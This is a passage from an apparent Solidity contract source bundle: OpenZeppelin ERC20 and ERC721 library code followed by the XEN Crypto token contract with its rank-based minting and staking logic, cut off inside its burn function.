virtual {\n _tokenApprovals[tokenId] = to;\n emit Approval(ERC721.ownerOf(tokenId), to, tokenId);\n }\n\n /**\n * @dev Approve `operator` to operate on all of `owner` tokens\n *\n * Emits an {ApprovalForAll} event.\n */\n function _setApprovalForAll(\n address owner,\n address operator,\n bool approved\n ) internal virtual {\n require(owner != operator, \"ERC721: approve to caller\");\n _operatorApprovals[owner][operator] = approved;\n emit ApprovalForAll(owner, operator, approved);\n }\n\n /**\n * @dev Reverts if the `tokenId` has not been minted yet.\n */\n function _requireMinted(uint256 tokenId) internal view virtual {\n require(_exists(tokenId), \"ERC721: invalid token ID\");\n }\n\n /**\n * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.\n * The call is not executed if the target address is not a contract.\n *\n * @param from address representing the previous owner of the given token ID\n * @param to target address that will receive the tokens\n * @param tokenId uint256 ID of the token to be transferred\n * @param data bytes optional data to send along with the call\n * @return bool whether the call correctly returned the expected magic value\n */\n function _checkOnERC721Received(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) private returns (bool) {\n if (to.isContract()) {\n try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, data) returns (bytes4 retval) {\n return retval == IERC721Receiver.onERC721Received.selector;\n } catch (bytes memory reason) {\n if (reason.length == 0) {\n revert(\"ERC721: transfer to non ERC721Receiver implementer\");\n } else {\n /// @solidity memory-safe-assembly\n assembly {\n revert(add(32, reason), mload(reason))\n }\n }\n }\n } else {\n return true;\n }\n }\n\n /**\n * @dev Hook that is called before any token transfer. This includes minting\n * and burning.\n *\n * Calling conditions:\n *\n * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be\n * transferred to `to`.\n * - When `from` is zero, `tokenId` will be minted for `to`.\n * - When `to` is zero, ``from``'s `tokenId` will be burned.\n * - `from` and `to` are never both zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual {}\n\n /**\n * @dev Hook that is called after any transfer of tokens. This includes\n * minting and burning.\n *\n * Calling conditions:\n *\n * - when `from` and `to` are both non-zero.\n * - `from` and `to` are never both zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual {}\n}\n"
},
"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC20.sol\";\n\n/**\n * @dev Interface for the optional metadata functions from the ERC20 standard.\n *\n * _Available since v4.1._\n */\ninterface IERC20Metadata is IERC20 {\n /**\n * @dev Returns the name of the token.\n */\n function name() external view returns (string memory);\n\n /**\n * @dev Returns the symbol of the token.\n */\n function symbol() external view returns (string memory);\n\n /**\n * @dev Returns the decimals places of the token.\n */\n function decimals() external view returns (uint8);\n}\n"
},
"@openzeppelin/contracts/token/ERC20/IERC20.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC20 standard as defined in the EIP.\n */\ninterface IERC20 {\n /**\n * @dev Emitted when `value` tokens are moved from one account (`from`) to\n * another (`to`).\n *\n * Note that `value` may be zero.\n */\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n /**\n * @dev Emitted when the allowance of a `spender` for an `owner` is set by\n * a call to {approve}. `value` is the new allowance.\n */\n event Approval(address indexed owner, address indexed spender, uint256 value);\n\n /**\n * @dev Returns the amount of tokens in existence.\n */\n function totalSupply() external view returns (uint256);\n\n /**\n * @dev Returns the amount of tokens owned by `account`.\n */\n function balanceOf(address account) external view returns (uint256);\n\n /**\n * @dev Moves `amount` tokens from the caller's account to `to`.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transfer(address to, uint256 amount) external returns (bool);\n\n /**\n * @dev Returns the remaining number of tokens that `spender` will be\n * allowed to spend on behalf of `owner` through {transferFrom}. This is\n * zero by default.\n *\n * This value changes when {approve} or {transferFrom} are called.\n */\n function allowance(address owner, address spender) external view returns (uint256);\n\n /**\n * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * IMPORTANT: Beware that changing an allowance with this method brings the risk\n * that someone may use both the old and the new allowance by unfortunate\n * transaction ordering. One possible solution to mitigate this race\n * condition is to first reduce the spender's allowance to 0 and set the\n * desired value afterwards:\n * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\n *\n * Emits an {Approval} event.\n */\n function approve(address spender, uint256 amount) external returns (bool);\n\n /**\n * @dev Moves `amount` tokens from `from` to `to` using the\n * allowance mechanism. `amount` is then deducted from the caller's\n * allowance.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external returns (bool);\n}\n"
},
"@openzeppelin/contracts/token/ERC20/ERC20.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC20/ERC20.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC20.sol\";\nimport \"./extensions/IERC20Metadata.sol\";\nimport \"../../utils/Context.sol\";\n\n/**\n * @dev Implementation of the {IERC20} interface.\n *\n * This implementation is agnostic to the way tokens are created. This means\n * that a supply mechanism has to be added in a derived contract using {_mint}.\n * For a generic mechanism see {ERC20PresetMinterPauser}.\n *\n * TIP: For a detailed writeup see our guide\n * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How\n * to implement supply mechanisms].\n *\n * We have followed general OpenZeppelin Contracts guidelines: functions revert\n * instead returning `false` on failure. This behavior is nonetheless\n * conventional and does not conflict with the expectations of ERC20\n * applications.\n *\n * Additionally, an {Approval} event is emitted on calls to {transferFrom}.\n * This allows applications to reconstruct the allowance for all accounts just\n * by listening to said events. Other implementations of the EIP may not emit\n * these events, as it isn't required by the specification.\n *\n * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}\n * functions have been added to mitigate the well-known issues around setting\n * allowances. See {IERC20-approve}.\n */\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n string private _symbol;\n\n /**\n * @dev Sets the values for {name} and {symbol}.\n *\n * The default value of {decimals} is 18. To select a different value for\n * {decimals} you should overload it.\n *\n * All two of these values are immutable: they can only be set once during\n * construction.\n */\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n }\n\n /**\n * @dev Returns the name of the token.\n */\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n /**\n * @dev Returns the symbol of the token, usually a shorter version of the\n * name.\n */\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n /**\n * @dev Returns the number of decimals used to get its user representation.\n * For example, if `decimals` equals `2`, a balance of `505` tokens should\n * be displayed to a user as `5.05` (`505 / 10 ** 2`).\n *\n * Tokens usually opt for a value of 18, imitating the relationship between\n * Ether and Wei. This is the value {ERC20} uses, unless this function is\n * overridden;\n *\n * NOTE: This information is only used for _display_ purposes: it in\n * no way affects any of the arithmetic of the contract, including\n * {IERC20-balanceOf} and {IERC20-transfer}.\n */\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n /**\n * @dev See {IERC20-totalSupply}.\n */\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n /**\n * @dev See {IERC20-balanceOf}.\n */\n function balanceOf(address account) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n /**\n * @dev See {IERC20-transfer}.\n *\n * Requirements:\n *\n * - `to` cannot be the zero address.\n * - the caller must have a balance of at least `amount`.\n */\n function transfer(address to, uint256 amount) public virtual override returns (bool) {\n address owner = _msgSender();\n _transfer(owner, to, amount);\n return true;\n }\n\n /**\n * @dev See {IERC20-allowance}.\n */\n function allowance(address owner, address spender) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n /**\n * @dev See {IERC20-approve}.\n *\n * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on\n * `transferFrom`. This is semantically equivalent to an infinite approval.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n */\n function approve(address spender, uint256 amount) public virtual override returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, amount);\n return true;\n }\n\n /**\n * @dev See {IERC20-transferFrom}.\n *\n * Emits an {Approval} event indicating the updated allowance. This is not\n * required by the EIP. See the note at the beginning of {ERC20}.\n *\n * NOTE: Does not update the allowance if the current allowance\n * is the maximum `uint256`.\n *\n * Requirements:\n *\n * - `from` and `to` cannot be the zero address.\n * - `from` must have a balance of at least `amount`.\n * - the caller must have allowance for ``from``'s tokens of at least\n * `amount`.\n */\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n /**\n * @dev Atomically increases the allowance granted to `spender` by the caller.\n *\n * This is an alternative to {approve} that can be used as a mitigation for\n * problems described in {IERC20-approve}.\n *\n * Emits an {Approval} event indicating the updated allowance.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n */\n function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n return true;\n }\n\n /**\n * @dev Atomically decreases the allowance granted to `spender` by the caller.\n *\n * This is an alternative to {approve} that can be used as a mitigation for\n * problems described in {IERC20-approve}.\n *\n * Emits an {Approval} event indicating the updated allowance.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n * - `spender` must have allowance for the caller of at least\n * `subtractedValue`.\n */\n function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {\n address owner = _msgSender();\n uint256 currentAllowance = allowance(owner, spender);\n require(currentAllowance >= subtractedValue, \"ERC20: decreased allowance below zero\");\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n /**\n * @dev Moves `amount` of tokens from `from` to `to`.\n *\n * This internal function is equivalent to {transfer}, and can be used to\n * e.g. implement automatic token fees, slashing mechanisms, etc.\n *\n * Emits a {Transfer} event.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `from` must have a balance of at least `amount`.\n */\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n require(fromBalance >= amount, \"ERC20: transfer amount exceeds balance\");\n unchecked {\n _balances[from] = fromBalance - amount;\n }\n _balances[to] += amount;\n\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n /** @dev Creates `amount` tokens and assigns them to `account`, increasing\n * the total supply.\n *\n * Emits a {Transfer} event with `from` set to the zero address.\n *\n * Requirements:\n *\n * - `account` cannot be the zero address.\n */\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n _balances[account] += amount;\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n /**\n * @dev Destroys `amount` tokens from `account`, reducing the\n * total supply.\n *\n * Emits a {Transfer} event with `to` set to the zero address.\n *\n * Requirements:\n *\n * - `account` cannot be the zero address.\n * - `account` must have at least `amount` tokens.\n */\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n unchecked {\n _balances[account] = accountBalance - amount;\n }\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n /**\n * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.\n *\n * This internal function is equivalent to `approve`, and can be used to\n * e.g. set automatic allowances for certain subsystems, etc.\n *\n * Emits an {Approval} event.\n *\n * Requirements:\n *\n * - `owner` cannot be the zero address.\n * - `spender` cannot be the zero address.\n */\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n /**\n * @dev Updates `owner` s allowance for `spender` based on spent `amount`.\n *\n * Does not update the allowance amount in case of infinite allowance.\n * Revert if not enough allowance is available.\n *\n * Might emit an {Approval} event.\n */\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(currentAllowance >= amount, \"ERC20: insufficient allowance\");\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n /**\n * @dev Hook that is called before any transfer of tokens. This includes\n * minting and burning.\n *\n * Calling conditions:\n *\n * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens\n * will be transferred to `to`.\n * - when `from` is zero, `amount` tokens will be minted for `to`.\n * - when `to` is zero, `amount` of ``from``'s tokens will be burned.\n * - `from` and `to` are never both zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n /**\n * @dev Hook that is called after any transfer of tokens. This includes\n * minting and burning.\n *\n * Calling conditions:\n *\n * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens\n * has been transferred to `to`.\n * - when `from` is zero, `amount` tokens have been minted for `to`.\n * - when `to` is zero, `amount` of ``from``'s tokens have been burned.\n * - `from` and `to` are never both zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}\n"
},
"@openzeppelin/contracts/interfaces/IERC2981.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (interfaces/IERC2981.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/introspection/IERC165.sol\";\n\n/**\n * @dev Interface for the NFT Royalty Standard.\n *\n * A standardized way to retrieve royalty payment information for non-fungible tokens (NFTs) to enable universal\n * support for royalty payments across all NFT marketplaces and ecosystem participants.\n *\n * _Available since v4.5._\n */\ninterface IERC2981 is IERC165 {\n /**\n * @dev Returns how much royalty is owed and to whom, based on a sale price that may be denominated in any unit of\n * exchange. The royalty amount is denominated and should be paid in that same unit of exchange.\n */\n function royaltyInfo(uint256 tokenId, uint256 salePrice)\n external\n view\n returns (address receiver, uint256 royaltyAmount);\n}\n"
},
"@openzeppelin/contracts/interfaces/IERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (interfaces/IERC165.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/introspection/IERC165.sol\";\n"
},
"@faircrypto/xen-crypto/contracts/interfaces/IStakingToken.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IStakingToken {\n event Staked(address indexed user, uint256 amount, uint256 term);\n\n event Withdrawn(address indexed user, uint256 amount, uint256 reward);\n\n function stake(uint256 amount, uint256 term) external;\n\n function withdraw() external;\n}\n"
},
"@faircrypto/xen-crypto/contracts/interfaces/IRankedMintingToken.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IRankedMintingToken {\n event RankClaimed(address indexed user, uint256 term, uint256 rank);\n\n event MintClaimed(address indexed user, uint256 rewardAmount);\n\n function claimRank(uint256 term) external;\n\n function claimMintReward() external;\n}\n"
},
"@faircrypto/xen-crypto/contracts/interfaces/IBurnableToken.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IBurnableToken {\n function burn(address user, uint256 amount) external;\n}\n"
},
"@faircrypto/xen-crypto/contracts/interfaces/IBurnRedeemable.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IBurnRedeemable {\n event Redeemed(\n address indexed user,\n address indexed xenContract,\n address indexed tokenContract,\n uint256 xenAmount,\n uint256 tokenAmount\n );\n\n function onTokenBurned(address user, uint256 amount) external;\n}\n"
},
"@faircrypto/xen-crypto/contracts/XENCrypto.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"./Math.sol\";\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport \"@openzeppelin/contracts/interfaces/IERC165.sol\";\nimport \"abdk-libraries-solidity/ABDKMath64x64.sol\";\nimport \"./interfaces/IStakingToken.sol\";\nimport \"./interfaces/IRankedMintingToken.sol\";\nimport \"./interfaces/IBurnableToken.sol\";\nimport \"./interfaces/IBurnRedeemable.sol\";\n\ncontract XENCrypto is Context, IRankedMintingToken, IStakingToken, IBurnableToken, ERC20(\"XEN Crypto\", \"XEN\") {\n using Math for uint256;\n using ABDKMath64x64 for int128;\n using ABDKMath64x64 for uint256;\n\n // INTERNAL TYPE TO DESCRIBE A XEN MINT INFO\n struct MintInfo {\n address user;\n uint256 term;\n uint256 maturityTs;\n uint256 rank;\n uint256 amplifier;\n uint256 eaaRate;\n }\n\n // INTERNAL TYPE TO DESCRIBE A XEN STAKE\n struct StakeInfo {\n uint256 term;\n uint256 maturityTs;\n uint256 amount;\n uint256 apy;\n }\n\n // PUBLIC CONSTANTS\n\n uint256 public constant SECONDS_IN_DAY = 3_600 * 24;\n uint256 public constant DAYS_IN_YEAR = 365;\n\n uint256 public constant GENESIS_RANK = 1;\n\n uint256 public constant MIN_TERM = 1 * SECONDS_IN_DAY - 1;\n uint256 public constant MAX_TERM_START = 100 * SECONDS_IN_DAY;\n uint256 public constant MAX_TERM_END = 1_000 * SECONDS_IN_DAY;\n uint256 public constant TERM_AMPLIFIER = 15;\n uint256 public constant TERM_AMPLIFIER_THRESHOLD = 5_000;\n uint256 public constant REWARD_AMPLIFIER_START = 3_000;\n uint256 public constant REWARD_AMPLIFIER_END = 1;\n uint256 public constant EAA_PM_START = 100;\n uint256 public constant EAA_PM_STEP = 1;\n uint256 public constant EAA_RANK_STEP = 100_000;\n uint256 public constant WITHDRAWAL_WINDOW_DAYS = 7;\n uint256 public constant MAX_PENALTY_PCT = 99;\n\n uint256 public constant XEN_MIN_STAKE = 0;\n\n uint256 public constant XEN_MIN_BURN = 0;\n\n uint256 public constant XEN_APY_START = 20;\n uint256 public constant XEN_APY_DAYS_STEP = 90;\n uint256 public constant XEN_APY_END = 2;\n\n string public constant AUTHORS = \"@MrJackLevin @lbelyaev faircrypto.org\";\n\n // PUBLIC STATE, READABLE VIA NAMESAKE GETTERS\n\n uint256 public immutable genesisTs;\n uint256 public globalRank = GENESIS_RANK;\n uint256 public activeMinters;\n uint256 public activeStakes;\n uint256 public totalXenStaked;\n // user address => XEN mint info\n mapping(address => MintInfo) public userMints;\n // user address => XEN stake info\n mapping(address => StakeInfo) public userStakes;\n // user address => XEN burn amount\n mapping(address => uint256) public userBurns;\n\n // CONSTRUCTOR\n constructor() {\n genesisTs = block.timestamp;\n }\n\n // PRIVATE METHODS\n\n /**\n * @dev calculates current MaxTerm based on Global Rank\n * (if Global Rank crosses over TERM_AMPLIFIER_THRESHOLD)\n */\n function _calculateMaxTerm() private view returns (uint256) {\n if (globalRank > TERM_AMPLIFIER_THRESHOLD) {\n uint256 delta = globalRank.fromUInt().log_2().mul(TERM_AMPLIFIER.fromUInt()).toUInt();\n uint256 newMax = MAX_TERM_START + delta * SECONDS_IN_DAY;\n return Math.min(newMax, MAX_TERM_END);\n }\n return MAX_TERM_START;\n }\n\n /**\n * @dev calculates Withdrawal Penalty depending on lateness\n */\n function _penalty(uint256 secsLate) private pure returns (uint256) {\n // =MIN(2^(daysLate+3)/window-1,99)\n uint256 daysLate = secsLate / SECONDS_IN_DAY;\n if (daysLate > WITHDRAWAL_WINDOW_DAYS - 1) return MAX_PENALTY_PCT;\n uint256 penalty = (uint256(1) << (daysLate + 3)) / WITHDRAWAL_WINDOW_DAYS - 1;\n return Math.min(penalty, MAX_PENALTY_PCT);\n }\n\n /**\n * @dev calculates net Mint Reward (adjusted for Penalty)\n */\n function _calculateMintReward(\n uint256 cRank,\n uint256 term,\n uint256 maturityTs,\n uint256 amplifier,\n uint256 eeaRate\n ) private view returns (uint256) {\n uint256 secsLate = block.timestamp - maturityTs;\n uint256 penalty = _penalty(secsLate);\n uint256 rankDelta = Math.max(globalRank - cRank, 2);\n uint256 EAA = (1_000 + eeaRate);\n uint256 reward = getGrossReward(rankDelta, amplifier, term, EAA);\n return (reward * (100 - penalty)) / 100;\n }\n\n /**\n * @dev cleans up User Mint storage (gets some Gas credit;))\n */\n function _cleanUpUserMint() private {\n delete userMints[_msgSender()];\n activeMinters--;\n }\n\n /**\n * @dev calculates XEN Stake Reward\n */\n function _calculateStakeReward(\n uint256 amount,\n uint256 term,\n uint256 maturityTs,\n uint256 apy\n ) private view returns (uint256) {\n if (block.timestamp > maturityTs) {\n uint256 rate = (apy * term * 1_000_000) / DAYS_IN_YEAR;\n return (amount * rate) / 100_000_000;\n }\n return 0;\n }\n\n /**\n * @dev calculates Reward Amplifier\n */\n function _calculateRewardAmplifier() private view returns (uint256) {\n uint256 amplifierDecrease = (block.timestamp - genesisTs) / SECONDS_IN_DAY;\n if (amplifierDecrease < REWARD_AMPLIFIER_START) {\n return Math.max(REWARD_AMPLIFIER_START - amplifierDecrease, REWARD_AMPLIFIER_END);\n } else {\n return REWARD_AMPLIFIER_END;\n }\n }\n\n /**\n * @dev calculates Early Adopter Amplifier Rate (in 1/000ths)\n * actual EAA is (1_000 + EAAR) / 1_000\n */\n function _calculateEAARate() private view returns (uint256) {\n uint256 decrease = (EAA_PM_STEP * globalRank) / EAA_RANK_STEP;\n if (decrease > EAA_PM_START) return 0;\n return EAA_PM_START - decrease;\n }\n\n /**\n * @dev calculates APY (in %)\n */\n function _calculateAPY() private view returns (uint256) {\n uint256 decrease = (block.timestamp - genesisTs) / (SECONDS_IN_DAY * XEN_APY_DAYS_STEP);\n if (XEN_APY_START - XEN_APY_END < decrease) return XEN_APY_END;\n return XEN_APY_START - decrease;\n }\n\n /**\n * @dev creates User Stake\n */\n function _createStake(uint256 amount, uint256 term) private {\n userStakes[_msgSender()] = StakeInfo({\n term: term,\n maturityTs: block.timestamp + term * SECONDS_IN_DAY,\n amount: amount,\n apy: _calculateAPY()\n });\n activeStakes++;\n totalXenStaked += amount;\n }\n\n // PUBLIC CONVENIENCE GETTERS\n\n /**\n * @dev calculates gross Mint Reward\n */\n function getGrossReward(\n uint256 rankDelta,\n uint256 amplifier,\n uint256 term,\n uint256 eaa\n ) public pure returns (uint256) {\n int128 log128 = rankDelta.fromUInt().log_2();\n int128 reward128 = log128.mul(amplifier.fromUInt()).mul(term.fromUInt()).mul(eaa.fromUInt());\n return reward128.div(uint256(1_000).fromUInt()).toUInt();\n }\n\n /**\n * @dev returns User Mint object associated with User account address\n */\n function getUserMint() external view returns (MintInfo memory) {\n return userMints[_msgSender()];\n }\n\n /**\n * @dev returns XEN Stake object associated with User account address\n */\n function getUserStake() external view returns (StakeInfo memory) {\n return userStakes[_msgSender()];\n }\n\n /**\n * @dev returns current AMP\n */\n function getCurrentAMP() external view returns (uint256) {\n return _calculateRewardAmplifier();\n }\n\n /**\n * @dev returns current EAA Rate\n */\n function getCurrentEAAR() external view returns (uint256) {\n return _calculateEAARate();\n }\n\n /**\n * @dev returns current APY\n */\n function getCurrentAPY() external view returns (uint256) {\n return _calculateAPY();\n }\n\n /**\n * @dev returns current MaxTerm\n */\n function getCurrentMaxTerm() external view returns (uint256) {\n return _calculateMaxTerm();\n }\n\n // PUBLIC STATE-CHANGING METHODS\n\n /**\n * @dev accepts User cRank claim provided all checks pass (incl. no current claim exists)\n */\n function claimRank(uint256 term) external {\n uint256 termSec = term * SECONDS_IN_DAY;\n require(termSec > MIN_TERM, \"CRank: Term less than min\");\n require(termSec < _calculateMaxTerm() + 1, \"CRank: Term more than current max term\");\n require(userMints[_msgSender()].rank == 0, \"CRank: Mint already in progress\");\n\n // create and store new MintInfo\n MintInfo memory mintInfo = MintInfo({\n user: _msgSender(),\n term: term,\n maturityTs: block.timestamp + termSec,\n rank: globalRank,\n amplifier: _calculateRewardAmplifier(),\n eaaRate: _calculateEAARate()\n });\n userMints[_msgSender()] = mintInfo;\n activeMinters++;\n emit RankClaimed(_msgSender(), term, globalRank++);\n }\n\n /**\n * @dev ends minting upon maturity (and within permitted Withdrawal Time Window), gets minted XEN\n */\n function claimMintReward() external {\n MintInfo memory mintInfo = userMints[_msgSender()];\n require(mintInfo.rank > 0, \"CRank: No mint exists\");\n require(block.timestamp > mintInfo.maturityTs, \"CRank: Mint maturity not reached\");\n\n // calculate reward and mint tokens\n uint256 rewardAmount = _calculateMintReward(\n mintInfo.rank,\n mintInfo.term,\n mintInfo.maturityTs,\n mintInfo.amplifier,\n mintInfo.eaaRate\n ) * 1 ether;\n _mint(_msgSender(), rewardAmount);\n\n _cleanUpUserMint();\n emit MintClaimed(_msgSender(), rewardAmount);\n }\n\n /**\n * @dev ends minting upon maturity (and within permitted Withdrawal time Window)\n * mints XEN coins and splits them between User and designated other address\n */\n function claimMintRewardAndShare(address other, uint256 pct) external {\n MintInfo memory mintInfo = userMints[_msgSender()];\n require(other != address(0), \"CRank: Cannot share with zero address\");\n require(pct > 0, \"CRank: Cannot share zero percent\");\n require(pct < 101, \"CRank: Cannot share 100+ percent\");\n require(mintInfo.rank > 0, \"CRank: No mint exists\");\n require(block.timestamp > mintInfo.maturityTs, \"CRank: Mint maturity not reached\");\n\n // calculate reward\n uint256 rewardAmount = _calculateMintReward(\n mintInfo.rank,\n mintInfo.term,\n mintInfo.maturityTs,\n mintInfo.amplifier,\n mintInfo.eaaRate\n ) * 1 ether;\n uint256 sharedReward = (rewardAmount * pct) / 100;\n uint256 ownReward = rewardAmount - sharedReward;\n\n // mint reward tokens\n _mint(_msgSender(), ownReward);\n _mint(other, sharedReward);\n\n _cleanUpUserMint();\n emit MintClaimed(_msgSender(), rewardAmount);\n }\n\n /**\n * @dev ends minting upon maturity (and within permitted Withdrawal time Window)\n * mints XEN coins and stakes 'pct' of it for 'term'\n */\n function claimMintRewardAndStake(uint256 pct, uint256 term) external {\n MintInfo memory mintInfo = userMints[_msgSender()];\n // require(pct > 0, \"CRank: Cannot share zero percent\");\n require(pct < 101, \"CRank: Cannot share >100 percent\");\n require(mintInfo.rank > 0, \"CRank: No mint exists\");\n require(block.timestamp > mintInfo.maturityTs, \"CRank: Mint maturity not reached\");\n\n // calculate reward\n uint256 rewardAmount = _calculateMintReward(\n mintInfo.rank,\n mintInfo.term,\n mintInfo.maturityTs,\n mintInfo.amplifier,\n mintInfo.eaaRate\n ) * 1 ether;\n uint256 stakedReward = (rewardAmount * pct) / 100;\n uint256 ownReward = rewardAmount - stakedReward;\n\n // mint reward tokens part\n _mint(_msgSender(), ownReward);\n _cleanUpUserMint();\n emit MintClaimed(_msgSender(), rewardAmount);\n\n // nothing to burn since we haven't minted this part yet\n // stake extra tokens part\n require(stakedReward > XEN_MIN_STAKE, \"XEN: Below min stake\");\n require(term * SECONDS_IN_DAY > MIN_TERM, \"XEN: Below min stake term\");\n require(term * SECONDS_IN_DAY < MAX_TERM_END + 1, \"XEN: Above max stake term\");\n require(userStakes[_msgSender()].amount == 0, \"XEN: stake exists\");\n\n _createStake(stakedReward, term);\n emit Staked(_msgSender(), stakedReward, term);\n }\n\n /**\n * @dev initiates XEN Stake in amount for a term (days)\n */\n function stake(uint256 amount, uint256 term) external {\n require(balanceOf(_msgSender()) >= amount, \"XEN: not enough balance\");\n require(amount > XEN_MIN_STAKE, \"XEN: Below min stake\");\n require(term * SECONDS_IN_DAY > MIN_TERM, \"XEN: Below min stake term\");\n require(term * SECONDS_IN_DAY < MAX_TERM_END + 1, \"XEN: Above max stake term\");\n require(userStakes[_msgSender()].amount == 0, \"XEN: stake exists\");\n\n // burn staked XEN\n _burn(_msgSender(), amount);\n // create XEN Stake\n _createStake(amount, term);\n emit Staked(_msgSender(), amount, term);\n }\n\n /**\n * @dev ends XEN Stake and gets reward if the Stake is mature\n */\n function withdraw() external {\n StakeInfo memory userStake = userStakes[_msgSender()];\n require(userStake.amount > 0, \"XEN: no stake exists\");\n\n uint256 xenReward = _calculateStakeReward(\n userStake.amount,\n userStake.term,\n userStake.maturityTs,\n userStake.apy\n );\n activeStakes--;\n totalXenStaked -= userStake.amount;\n\n // mint staked XEN (+ reward)\n _mint(_msgSender(), userStake.amount + xenReward);\n emit Withdrawn(_msgSender(), userStake.amount, xenReward);\n delete userStakes[_msgSender()];\n }\n\n /**\n * @dev burns XEN tokens and creates Proof-Of-Burn record to be used by connected DeFi services\n */\n function burn(address user, uint256 amount) public {\n require(amount > XEN_MIN_BURN, \"Burn: Below min limit\");\n 